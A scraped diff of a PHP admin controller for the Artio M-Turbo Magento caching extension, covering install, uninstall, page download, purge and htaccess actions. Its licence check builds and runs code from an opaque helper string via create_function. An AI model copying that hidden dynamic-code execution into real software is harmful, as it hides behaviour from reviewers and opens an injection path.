  DELETE FROM `".$prefix."core_config_data` WHERE `path` LIKE 'mturbo/%' OR `path` LIKE 'crontab/jobs/mturbo%';
142
  DELETE FROM `".$prefix."core_resource` WHERE `code` LIKE 'mturbo_setup';
143
  DELETE FROM `".$prefix."adminnotification_inbox` WHERE `url` LIKE 'http://www.artio.net/magento-extensions/m-turbo-accelerator';
144
-
145
  ");
146
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Db records was removed.'));
147
  } catch (Exception $e) {
@@ -153,12 +153,12 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
153
  } catch (Exception $e) {
154
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Uninstall MTurbo from PEAR error').' : '.$e->getMessage());
155
  }
156
-
157
- try {
158
 
159
  $uninstalledPear = true;
160
  $baseDir = Mage::getBaseDir();
161
-
162
  $dirs = array(
163
  'app'.DS.'code'.DS.'local'.DS.'Artio'.DS.'MTurbo',
164
  'app'.DS.'design'.DS.'adminhtml'.DS.'default'.DS.'default'.DS.'template'.DS.'mturbo',
@@ -173,9 +173,9 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
173
  $array = array();
174
 
175
  if (strpos($result, 'uninstall failed')!==false) {
176
- $this->_getSession()->addWarning(Mage::helper('mturbo')->__('Uninstall PEAR package failed. Probably you have not permission to remove files. Please, go to System/Magento Connect Manager and there finish uinstall of MTurbo. More information about uninstall of MTurbo you can get in file var/uninstallmturbo.log. '));
177
  } else if (strpos($result, 'magento-community/MTurbo not installed')!==false) {
178
-
179
  foreach ($dirs as $dir) {
180
  if (!Mage::helper('mturbo/functions')->unlink_recursive($baseDir.DS.$dir, '/.*/', true)) {
181
  $array[] = $dir;
@@ -187,7 +187,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
187
  if (count($array)>0) {
188
  $this->_getSession()->addWarning(Mage::helper('mturbo')->__('Some files were not deleted:<br />').implode('<br />', $array));
189
  }
190
-
191
  } catch (Exception $e) {
192
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Uninstall error').' : '.$e->getMessage());
193
  }
@@ -195,18 +195,18 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
195
 
196
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Uninstall complete. Please refresh standard Magento Cache'));
197
  $this->_redirect('adminhtml/dashboard');
198
-
199
  }
200
-
201
 
202
  /**
203
  * Executed when user push button install on the install page.
204
  */
205
  public function installAction() {
206
-
207
  /* get data from request */
208
  $request = $this->getRequest();
209
-
210
  try {
211
 
212
  /* extract post data for websites configuration */
@@ -214,7 +214,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
214
  Mage::getSingleton('mturbo/config_websiteTransformer')->extractData($config, $request->getPost());
215
  $config->setFirstconfig('0');
216
  $config->save($request->getPost());
217
-
218
  $htacc = Mage::getSingleton('mturbo/htaccess');
219
  try {
220
  $htacc->actionAllWebsites('rebuild');
@@ -232,15 +232,15 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
232
  } catch (Exception $e) {
233
  $this->_getSession()->addWarning(Mage::helper('mturbo')->__("'Mage_Core_Model_Layout' was not patched. It is required for dynamic loaded blocks. Please see to 'Dynamic loaded blocks'. Exception %s", $e->getMessage()));
234
  }
235
-
236
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Installation complete. Welcome!!!'));
237
-
238
  } catch (Exception $e) {
239
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Install error').' : '.$e->getMessage());
240
  }
241
-
242
  $this->_redirect('mturbo/adminhtml_mturbo/index');
243
-
244
  }
245
 
246
 
@@ -250,44 +250,37 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
250
  * downloading pages.
251
  */
252
  public function downloadAction() {
253
-
254
- if (!$this->_checkLicence()) return;
255
-
256
- $importids = $this->getRequest()->getParam('massrefresh');
257
-
258
- /* user push button "Cache all pages" */
259
- if (empty($importids)) {
260
-
261
- $html = $this->getLayout()->createBlock('mturbo/adminhtml_run')->toHtml();
262
-
263
- /* user push button "Cache selected pages" */
264
- } else {
265
-
266
- /* for selected pages must be send importids into run block */
267
- $importidsArray = explode(",", $importids);
268
- if (is_array($importidsArray)) {
269
- $html = $this->getLayout()->createBlock('mturbo/adminhtml_run')->setImportIds($importidsArray)->toHtml();
270
- }
271
-
272
- }
273
-
274
- $this->getResponse()->setBody($html);
275
-
276
  }
277
 
278
-
279
  /**
280
- * Executed when user push button "Generate URL list file" on the actions tab.
281
- */
282
  public function generateurllistAction() {
283
-
284
  if (!$this->_checkLicence()) return;
285
 
286
  try {
287
-
288
  /* getting website code from request */
289
  $websitecode = $this->getRequest()->getParam('websitecode', '');
290
-
291
  /* if website code is empty, rebuild all htaccesses */
292
  $websiteCodes = array();
293
  if ($websitecode=='') {
@@ -296,7 +289,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
296
  $websites = array();
297
  $websites[] = Mage::getModel('core/website')->load($websitecode);
298
  }
299
-
300
  /* rebuild htaccess of all codes in $websiteCodes */
301
  foreach ($websites as $website) {
302
  try {
@@ -316,17 +309,17 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
316
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_website_section'));
317
  else
318
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
319
-
320
  }
321
-
322
 
323
  /**
324
  * Executed when user push button "Clear all pages" on the actions tab.
325
  */
326
  public function clearpagesAction() {
327
-
328
  if (!$this->_checkLicence()) return;
329
-
330
  try {
331
 
332
  Mage::getModel('mturbo/mturbo')->getFileModel()->clearAllPages();
@@ -334,19 +327,19 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
334
 
335
  } catch (Exception $e) {
336
  $this->_getSession()->addError( Mage::helper('mturbo')->__('Remove error:') . $e->getMessage() );
337
- }
338
 
339
- /* redirect to action tab */
340
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
341
-
342
  }
343
 
344
 
345
  /**
346
- * Executed when user push button "Synchronize Rewrite Table".
347
  */
348
  public function synchronizeAction() {
349
-
350
  if (!$this->_checkLicence()) return;
351
 
352
  try {
@@ -359,21 +352,21 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
359
  } catch (Exception $e) {
360
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Synchronization error').' : '.$e->getMessage());
361
  }
362
-
363
  /* redirect to action tab */
364
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_url_section'));
365
-
366
  }
367
 
368
-
369
  /**
370
  * Executed when user pushes button "Rebuild Htaccess".
371
  */
372
  public function htaccessbuildAction() {
373
-
374
  /* getting website code from request */
375
  $websitecode = $this->getRequest()->getParam('websitecode', '');
376
-
377
  /* if website code is empty, rebuild all htaccesses */
378
  $websiteCodes = array();
379
  if ($websitecode=='') {
@@ -383,7 +376,7 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
383
  } else {
384
  $websiteCodes[$websitecode] = Mage::getModel('core/website')->load($websitecode)->getName();
385
  }
386
-
387
  /* rebuild htaccess of all codes in $websiteCodes */
388
  foreach ($websiteCodes as $code=>$name) {
389
  try {
@@ -393,13 +386,13 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
393
  $this->_getSession()->addError(Mage::helper('mturbo')->__("Rebuild htaccess for website '%s' fail.", $name).' '.$e->getMessage());
394
  }
395
  }
396
-
397
  /* redirect to tab */
398
  if ($websitecode!='')
399
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_website_section'));
400
  else
401
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
402
-
403
  }
404
 
405
 
@@ -408,98 +401,100 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
408
  * Action is called by AJAX.
409
  */
410
  public function testdownloadAction() {
411
-
412
  /* getting method code and build method */
413
- $code = $this->getRequest()->getPost('method', '');
414
  $method = Mage::getSingleton('mturbo/downloadMethodsFactory')->getMethod($code);
415
 
416
  /* download page and get its size */
417
- $size = strlen($method->downloadPage(Mage::getBaseUrl()));
418
- Mage::log($method->getErrorMessage());
419
- /* make result by download size */
420
- $resultTest = ($size > 0) ? round($size/(float)1024, 2) : $method->getErrorMessage();
421
- $res = ($size > 0);
422
-
 
 
423
  $result = array(
424
- 'ok' => $res,
425
- 'resultTest' => $resultTest
426
  );
427
-
428
  /* send result to client */
 
429
  $this->getResponse()->setBody(Zend_Json::encode($result));
430
-
431
  }
432
 
433
-
434
  /**
435
  * Executed when user pushs "Apply patch" on the config tabs.
436
  */
437
  public function magepatchAction() {
438
-
439
  try {
440
 
441
  $patch = Mage::getModel('mturbo/patch');
442
  if ($patch->isPatched()) {
443
  $patch->removePatch();
444
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was removed.'));
445
- } else {
446
  $patch->applyPatch();
447
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was applied.'));
448
  }
449
 
450
  } catch (Exception $e) {
451
  $this->_getSession()->addError($e->getMessage());
452
- }
453
-
454
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_main_section'));
455
-
456
  }
457
-
458
  /**
459
  * Executed when user pushs "Apply patch" on the config tabs.
460
  */
461
  public function layoutpatchAction() {
462
-
463
  try {
464
 
465
  $patch = Mage::getModel('mturbo/layoutPatch');
466
  if ($patch->isPatched()) {
467
  $patch->removePatch();
468
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was removed.'));
469
- } else {
470
  $patch->applyPatch();
471
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was applied.'));
472
  }
473
 
474
  } catch (Exception $e) {
475
  $this->_getSession()->addError($e->getMessage());
476
- }
477
-
478
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_dynamic_section'));
479
-
480
  }
481
-
482
 
483
 
484
  /**
485
  * Executed when user pushs button "Upgrade to Full version" at right top corner.
486
  **/
487
  public function upgradeAction() {
488
-
489
  try {
490
-
491
  $message = Mage::helper('mturbo/downloader')->downloadAndUpgrade();
492
  if ($message=='') {
493
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Upgrade complete, please refresh Magento system cache'));
494
  } else {
495
  $this->_getSession()->addWarning($message);
496
  }
497
-
498
  } catch (Exception $e) {
499
  $this->_getSession()->addError($e->getMessage());
500
  Mage::logException($e);
501
  }
502
-
503
  $this->_redirect('*/*/index', array('activeTab'=>'page_tabs_license_section'));
504
  }
505
 
@@ -514,23 +509,23 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
514
  public function blockAction() {
515
  $this->_stateAction(1);
516
  }
517
-
518
 
519
  /**
520
  * Executed when user clicks on the link "unblock" in the row with any page.
521
- */
522
  public function unblockAction() {
523
  $this->_stateAction(0);
524
  }
525
-
526
 
527
  /**
528
  * Executed when user changes the state for any one page.
529
- */
530
  private function _stateAction($state) {
531
-
532
  $id = $this->getRequest()->getParam('id');
533
-
534
  try {
535
 
536
  /* during saving model decides to page deleted or not */
@@ -541,51 +536,51 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
541
  ->save();
542
 
543
  $this->_getSession()->addSuccess($this->__('Record was successfully updated.'));
544
-
545
  } catch (Exception $e) {
546
  $this->_getSession()->addError($e->getMessage());
547
  }
548
-
549
  $this->_redirect('*/*/index');
550
-
551
  }
552
-
553
  /**
554
  * Executed when user selects some pages and in the massaction selects delete.
555
- */
556
  public function massDeleteAction() {
557
-
558
  $ids = $this->getRequest()->getParam('mturbo');
559
-
560
  if(!is_array($ids)) {
561
  $this->_getSession()->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
562
  } else {
563
-
564
  try {
565
-
566
  foreach ($ids as $id) {
567
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
568
  $mturbo->delete();
569
  }
570
-
571
  $this->_getSession()->addSuccess(
572
  Mage::helper('adminhtml')->__('Total of %d record(s) were successfully deleted.', count($ids)));
573
-
574
  } catch (Exception $e) {
575
  $this->_getSession()->addError($e->getMessage());
576
  }
577
-
578
  }
579
-
580
- /* redirect to grid tab */
581
  $this->_redirect('*/*/index');
582
-
583
  }
584
 
585
 
586
  /**
587
  * Executed when user selects some pages and in the massaction selects block.
588
- */
589
  public function massBlockAction() {
590
  $this->_massStateAction(1);
591
  }
@@ -593,17 +588,17 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
593
 
594
  /**
595
  * Executed when user selects some pages and in the massaction selects unblock.
596
- */
597
  public function massUnblockAction() {
598
  $this->_massStateAction(0);
599
  }
600
-
601
 
602
  /**
603
  * Executed when user selects some pages and in the massaction selects block or unblock.
604
- */
605
  private function _massStateAction($state) {
606
-
607
  $ids = $this->getRequest()->getParam('mturbo');
608
  if(!is_array($ids)) {
609
  $this->_getSession()->addError($this->__('Please select item(s)'));
@@ -618,45 +613,45 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
618
  ->setBlocked($state)
619
  ->setIsMassupdate(true)
620
  ->save();
621
-
622
  }
623
 
624
  $this->_getSession()->addSuccess($this->__('Total of %d record(s) were successfully updated.', count($ids)));
625
-
626
  } catch (Exception $e) {
627
  $this->_getSession()->addError($e->getMessage());
628
  }
629
-
630
  }
631
-
632
  $this->_redirect('*/*/index');
633
  }
634
-
635
- /**
636
  * Executed whe user click at preview link in the grid.
637
  */
638
  public function previewAction() {
639
-
640
  $id = $this->getRequest()->getParam('id');
641
-
642
  try {
643
-
644
  // get models
645
  $config = Mage::getSingleton('mturbo/config');
646
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
647
  $file = $mturbo->getFileModel();
648
-
649
  // get page
650
- $baseUrl = $mturbo->getBaseUrl();
651
  $path = $file->getRelativePath();
652
  $url = $baseUrl.$config->getTurbopath().DS.$path;
653
-
654
  $this->_redirectUrl($url);
655
-
656
  } catch (Exception $e) {
657
  $this->_getSession()->addError(Mage::helper('mturbo')->__("Preview fail.").' '.$e->getMessage());
658
  }
659
-
660
  }
661
 
662
 
@@ -664,80 +659,93 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
664
  * Executed when user refreshes one page from the grid.
665
  */
666
  public function refreshAction() {
667
-
668
- if (!$this->_checkLicence()) return;
669
-
 
670
  $id = $this->getRequest()->getParam('id');
671
-
672
  try {
673
-
674
  // get models
675
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
676
  $file = $mturbo->getFileModel();
677
-
678
  // if page exists, then delete it
679
  if ($file->existPage()) {
 
680
  if ($file->deletePage())
681
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__("Page was succesfull purge from disk.") );
682
  else
683
  $this->_getSession()->addError(Mage::helper('mturbo')->__("Purging page fail."));
684
-
685
  // if page not exists and is not blocked, then download it
686
- } else {
687
- if ($mturbo->isBlocked())
688
- $this->_getSession()->addWarning(Mage::helper('mturbo')->__("Blocked page can't refresh"));
 
689
  else {
690
- if ($file->downloadPage())
691
- $this->_getSession()->addSuccess(Mage::helper('mturbo')->__("Page was succesfull download. Now is cached.") );
692
- }
 
 
 
 
 
 
 
 
 
 
693
  }
694
-
695
  } catch ( Exception $e ) {
696
  if ($file->existPage())
697
- $this->_getSession ()->addError ( Mage::helper ( 'mturbo' )->__ ( "Purging page fail. " . $e->getMessage () ) );
698
  else
699
- $this->_getSession ()->addError ( Mage::helper ( 'mturbo' )->__ ( "Downloading page fail. " . $e->getMessage () ) );
700
  }
701
-
702
- $this->_redirect ( '*/*/index' );
703
-
704
  }
705
-
706
  /**
707
  * Executed when user purges more pages from the grid.
708
  */
709
  public function massPurgeAction() {
710
-
711
  $ids = $this->getRequest()->getParam('mturbo');
712
-
713
  if(!is_array($ids)) {
714
  $this->_getSession()->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
715
  } else {
716
-
717
  try {
718
-
719
  $succ = 0;
720
  foreach ($ids as $id) {
721
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
722
  $file = $mturbo->getFileModel();
723
- if ($file->existPage())
724
  $succ = ($file->deletePage()) ? $succ+1 : $succ;
725
  }
726
-
727
  $this->_getSession()->addSuccess(
728
  Mage::helper('adminhtml')->__('Total of %d page(s) were successfully purged.', $succ));
729
-
730
  } catch (Exception $e) {
731
  $this->_getSession()->addError($e->getMessage());
732
  }
733
-
734
  }
735
-
736
- /* redirect to grid tab */
737
  $this->_redirect('*/*/index');
738
-
739
  }
740
-
741
  /**
742
  * Executed when user refreshes more pages from the grid.
743
  * Action will be redirect to avoid duplication code.
@@ -749,30 +757,30 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
749
 
750
 
751
  /* Downloaded by AJAX ================================================================ */
752
-
753
-
754
  public function categoriesJsonAction() {
755
-
756
  if ($this->getRequest ()->getParam ( 'expand_all' ))
757
  Mage::getSingleton ( 'admin/session' )->setIsTreeWasExpanded ( true );
758
  else
759
  Mage::getSingleton ( 'admin/session' )->setIsTreeWasExpanded ( false );
760
-
761
  $categoryId = (int)$this->getRequest()->getPost('id');
762
  if ($categoryId) {
763
  $this->getRequest ()->setParam ( 'id', $categoryId );
764
  if (! $category = $this->_initCategory ())
765
  return;
766
-
767
  $this->getResponse ()->setBody ( $this->getLayout ()->createBlock ( 'adminhtml/catalog_category_tree' )->getTreeJson ( $category ) );
768
  }
769
-
770
  }
771
 
772
-
773
-
774
  protected function _initCategory() {
775
-
776
  $categoryId = (int) $this->getRequest()->getParam('id',false);
777
  $storeId = (int) $this->getRequest()->getParam('store');
778
  $category = Mage::getModel('catalog/category');
@@ -803,72 +811,102 @@ class Artio_MTurbo_Adminhtml_MturboController extends Mage_Adminhtml_Controller_
803
  Mage::register('category', $category);
804
  Mage::register('current_category', $category);
805
  return $category;
806
-
807
  }
808
-
809
 
810
 
811
- /**
812
- * Executed during downloading pages.
813
- * This action is called by AJAX.
814
- */
 
815
  public function downloadRunAction() {
816
-
817
- if ($this->getRequest()->isPost()) {
818
-
819
- $batchId = $this->getRequest()->getPost('batch_id',0);
820
 
821
- $mturbo = Mage::getModel('mturbo/mturbo')->load($batchId);
822
- $file = $mturbo->getFileModel();
823
-
824
- if (!$mturbo->getId()) return;
825
 
826
- $errors = array();
827
- $messages = array();
828
 
829
- try {
830
- if ($mturbo->isBlocked()) {
831
- $messages[] = Mage::helper('mturbo')->__('Skip blocked page: ').$file->getDownloadUrl();
832
- } else {
833
- $file->downloadPage();
834
- /* success will be not melden */
835
- //$messages[] = Mage::helper('mturbo')->__('Page downloaded: ').$mturbo->getDownloadUrl();
836
- }
837
- } catch (Exception $e) {
838
- $errors[] = $e->getMessage();
839
- }
840
 
841
- $result = array(
842
- 'savedRows' => 1,
843
- 'errors' => $errors,
844
- 'messages' => $messages
845
- );
846
- $this->getResponse()->setBody(Zend_Json::encode($result));
847
- }
 
 
 
 
 
 
 
 
848
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
849
  }
850
-
851
-
852
  /**
853
  *
854
  */
855
  private function _checkLicence() {
856
-
857
  $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
858
  // no post accepted
859
  if ($this->_redirect('index')=='post') return true;
860
  return $trans(Mage::helper('mturbo')->setTranslateMode(5), $this);
861
 
862
-
863
  }
864
-
865
  public function _red($url) {
866
  $this->_redirect($url);
867
  }
868
-
869
  public function _getSes() {
870
  return $this->_getSession();
871
  }
872
-
 
 
 
 
 
 
 
 
 
 
 
 
873
 
874
  }
32
  * Initailization mainly adminhtml xml layout.
33
  */
34
  protected function _initAction() {
35
+
36
+ $this->loadLayout();
37
  $this->getLayout()
38
  ->getBlock('head')
39
  ->setCanLoadExtJs(true)
40
  ->setContainerCssClass('catalog-categories');
41
+
42
  $this->_setActiveMenu('system');
43
  $this->_addBreadcrumb(Mage::helper('adminhtml')->__('M-Turbo Management'), Mage::helper('adminhtml')->__('M-Turbo Management'));
44
+
45
  return $this;
46
 
47
  }
48
 
49
+
50
  /**
51
+ * Executed when user select MTurbo Management in the main menu.
52
  */
53
+ public function indexAction() {
54
+
55
  /* after first executes redirect to install pages, otherwise show index layout */
56
  $config = Artio_MTurbo_Helper_Data::getConfig();
57
  if ($config->getData('firstconfig')=='1') {
59
  } else {
60
  $this->_initAction()->renderLayout();
61
  }
62
+
63
  }
64
+
65
 
66
  /**
67
  * Executed when user firstly select MTurbo Management in the main menu.
68
+ */
69
  public function firstAction() {
70
  $this->_initAction()->renderLayout();
71
  }
72
+
73
+
74
  /**
75
  * Uninstall Magento
76
  */
93
  } catch (Exception $e) {
94
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Mage patch uninstall error').' : '.$e->getMessage());
95
  }
96
+
97
  try {
98
  // remove layout patch
99
  $laypatch = Mage::getSingleton('mturbo/layoutPatch');
105
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Layout patch uninstall error').' : '.$e->getMessage());
106
  }
107
 
108
+ try {
109
  // remove mturbo directives from htaccess
110
  $htacc = Mage::getModel('mturbo/htaccess');
111
  $htacc->actionAllWebsites('remove');
113
  } catch (Exception $e) {
114
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Removing M-Turbo directives from .htaccess error').' : '.$e->getMessage());
115
  }
116
+
117
  try {
118
  // clear directories
119
  $websites = Mage::getModel('core/website')->getCollection()->load()->getItems();
129
  } catch (Exception $e) {
130
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Clearing turbocache directory error').' : '.$e->getMessage());
131
  }
132
+
133
  try {
134
  // clear db records
135
  $prefix = Mage::app()->getConfig()->getTablePrefix();
136
  $connection = Mage::getSingleton('core/resource')->getConnection('core_write');
137
  $connection->query("
138
+
139
  DROP TABLE IF EXISTS `".$prefix."mturbo`;
140
 
141
  DELETE FROM `".$prefix."core_config_data` WHERE `path` LIKE 'mturbo/%' OR `path` LIKE 'crontab/jobs/mturbo%';
142
  DELETE FROM `".$prefix."core_resource` WHERE `code` LIKE 'mturbo_setup';
143
  DELETE FROM `".$prefix."adminnotification_inbox` WHERE `url` LIKE 'http://www.artio.net/magento-extensions/m-turbo-accelerator';
144
+
145
  ");
146
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Db records was removed.'));
147
  } catch (Exception $e) {
153
  } catch (Exception $e) {
154
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Uninstall MTurbo from PEAR error').' : '.$e->getMessage());
155
  }
156
+
157
+ try {
158
 
159
  $uninstalledPear = true;
160
  $baseDir = Mage::getBaseDir();
161
+
162
  $dirs = array(
163
  'app'.DS.'code'.DS.'local'.DS.'Artio'.DS.'MTurbo',
164
  'app'.DS.'design'.DS.'adminhtml'.DS.'default'.DS.'default'.DS.'template'.DS.'mturbo',
173
  $array = array();
174
 
175
  if (strpos($result, 'uninstall failed')!==false) {
176
+ $this->_getSession()->addWarning(Mage::helper('mturbo')->__('Uninstall PEAR package failed. Probably you have not permission to remove files. Please, go to System/Magento Connect Manager and there finish uinstall of MTurbo. More information about uninstall of MTurbo you can get in file var/uninstallmturbo.log. '));
177
  } else if (strpos($result, 'magento-community/MTurbo not installed')!==false) {
178
+
179
  foreach ($dirs as $dir) {
180
  if (!Mage::helper('mturbo/functions')->unlink_recursive($baseDir.DS.$dir, '/.*/', true)) {
181
  $array[] = $dir;
187
  if (count($array)>0) {
188
  $this->_getSession()->addWarning(Mage::helper('mturbo')->__('Some files were not deleted:<br />').implode('<br />', $array));
189
  }
190
+
191
  } catch (Exception $e) {
192
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Uninstall error').' : '.$e->getMessage());
193
  }
195
 
196
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Uninstall complete. Please refresh standard Magento Cache'));
197
  $this->_redirect('adminhtml/dashboard');
198
+
199
  }
200
+
201
 
202
  /**
203
  * Executed when user push button install on the install page.
204
  */
205
  public function installAction() {
206
+
207
  /* get data from request */
208
  $request = $this->getRequest();
209
+
210
  try {
211
 
212
  /* extract post data for websites configuration */
214
  Mage::getSingleton('mturbo/config_websiteTransformer')->extractData($config, $request->getPost());
215
  $config->setFirstconfig('0');
216
  $config->save($request->getPost());
217
+
218
  $htacc = Mage::getSingleton('mturbo/htaccess');
219
  try {
220
  $htacc->actionAllWebsites('rebuild');
232
  } catch (Exception $e) {
233
  $this->_getSession()->addWarning(Mage::helper('mturbo')->__("'Mage_Core_Model_Layout' was not patched. It is required for dynamic loaded blocks. Please see to 'Dynamic loaded blocks'. Exception %s", $e->getMessage()));
234
  }
235
+
236
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Installation complete. Welcome!!!'));
237
+
238
  } catch (Exception $e) {
239
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Install error').' : '.$e->getMessage());
240
  }
241
+
242
  $this->_redirect('mturbo/adminhtml_mturbo/index');
243
+
244
  }
245
 
246
 
250
  * downloading pages.
251
  */
252
  public function downloadAction() {
253
+
254
+ if (!$this->_checkLicence())
255
+ return;
256
+
257
+ $importids = $this->getRequest()->getParam('massrefresh');
258
+ $batchSize = $this->_getConfig()->getDownloadBatchSize();
259
+
260
+ $runBlock = $this->getLayout()->createBlock('mturbo/adminhtml_run');
261
+ $runBlock->setBatchSize($batchSize);
262
+
263
+ // user push button "Cache selected pages"
264
+ // when $importIds is empty user push button "Cache All Pages"
265
+ if ($importids)
266
+ $runBlock->setImportIds(explode(",", $importids));
267
+
268
+ $this->getResponse()->setBody($runBlock->toHtml());
 
 
 
 
 
 
 
269
  }
270
 
271
+
272
  /**
273
+ * Executed when user push button "Generate URL list file" on the actions tab.
274
+ */
275
  public function generateurllistAction() {
276
+
277
  if (!$this->_checkLicence()) return;
278
 
279
  try {
280
+
281
  /* getting website code from request */
282
  $websitecode = $this->getRequest()->getParam('websitecode', '');
283
+
284
  /* if website code is empty, rebuild all htaccesses */
285
  $websiteCodes = array();
286
  if ($websitecode=='') {
289
  $websites = array();
290
  $websites[] = Mage::getModel('core/website')->load($websitecode);
291
  }
292
+
293
  /* rebuild htaccess of all codes in $websiteCodes */
294
  foreach ($websites as $website) {
295
  try {
309
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_website_section'));
310
  else
311
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
312
+
313
  }
314
+
315
 
316
  /**
317
  * Executed when user push button "Clear all pages" on the actions tab.
318
  */
319
  public function clearpagesAction() {
320
+
321
  if (!$this->_checkLicence()) return;
322
+
323
  try {
324
 
325
  Mage::getModel('mturbo/mturbo')->getFileModel()->clearAllPages();
327
 
328
  } catch (Exception $e) {
329
  $this->_getSession()->addError( Mage::helper('mturbo')->__('Remove error:') . $e->getMessage() );
330
+ }
331
 
332
+ /* redirect to action tab */
333
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
334
+
335
  }
336
 
337
 
338
  /**
339
+ * Executed when user push button "Synchronize Rewrite Table".
340
  */
341
  public function synchronizeAction() {
342
+
343
  if (!$this->_checkLicence()) return;
344
 
345
  try {
352
  } catch (Exception $e) {
353
  $this->_getSession()->addError(Mage::helper('mturbo')->__('Synchronization error').' : '.$e->getMessage());
354
  }
355
+
356
  /* redirect to action tab */
357
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_url_section'));
358
+
359
  }
360
 
361
+
362
  /**
363
  * Executed when user pushes button "Rebuild Htaccess".
364
  */
365
  public function htaccessbuildAction() {
366
+
367
  /* getting website code from request */
368
  $websitecode = $this->getRequest()->getParam('websitecode', '');
369
+
370
  /* if website code is empty, rebuild all htaccesses */
371
  $websiteCodes = array();
372
  if ($websitecode=='') {
376
  } else {
377
  $websiteCodes[$websitecode] = Mage::getModel('core/website')->load($websitecode)->getName();
378
  }
379
+
380
  /* rebuild htaccess of all codes in $websiteCodes */
381
  foreach ($websiteCodes as $code=>$name) {
382
  try {
386
  $this->_getSession()->addError(Mage::helper('mturbo')->__("Rebuild htaccess for website '%s' fail.", $name).' '.$e->getMessage());
387
  }
388
  }
389
+
390
  /* redirect to tab */
391
  if ($websitecode!='')
392
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_website_section'));
393
  else
394
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_actions_section'));
395
+
396
  }
397
 
398
 
401
  * Action is called by AJAX.
402
  */
403
  public function testdownloadAction() {
404
+
405
  /* getting method code and build method */
406
+ $code = $this->getRequest()->getPost('method', '');
407
  $method = Mage::getSingleton('mturbo/downloadMethodsFactory')->getMethod($code);
408
 
409
  /* download page and get its size */
410
+ $testedUrl = Mage::getBaseUrl();
411
+ $htmls = $method->downloadPages(array($testedUrl));
412
+ $size = strlen($htmls[$testedUrl]);
413
+
414
+ /* get status and message */
415
+ $status = ($size > 0);
416
+ $message = ($status) ? round($size/(float)1024, 2) : $method->getErrorMessage();
417
+
418
  $result = array(
419
+ 'ok' => $status,
420
+ 'resultTest' => $message
421
  );
422
+
423
  /* send result to client */
424
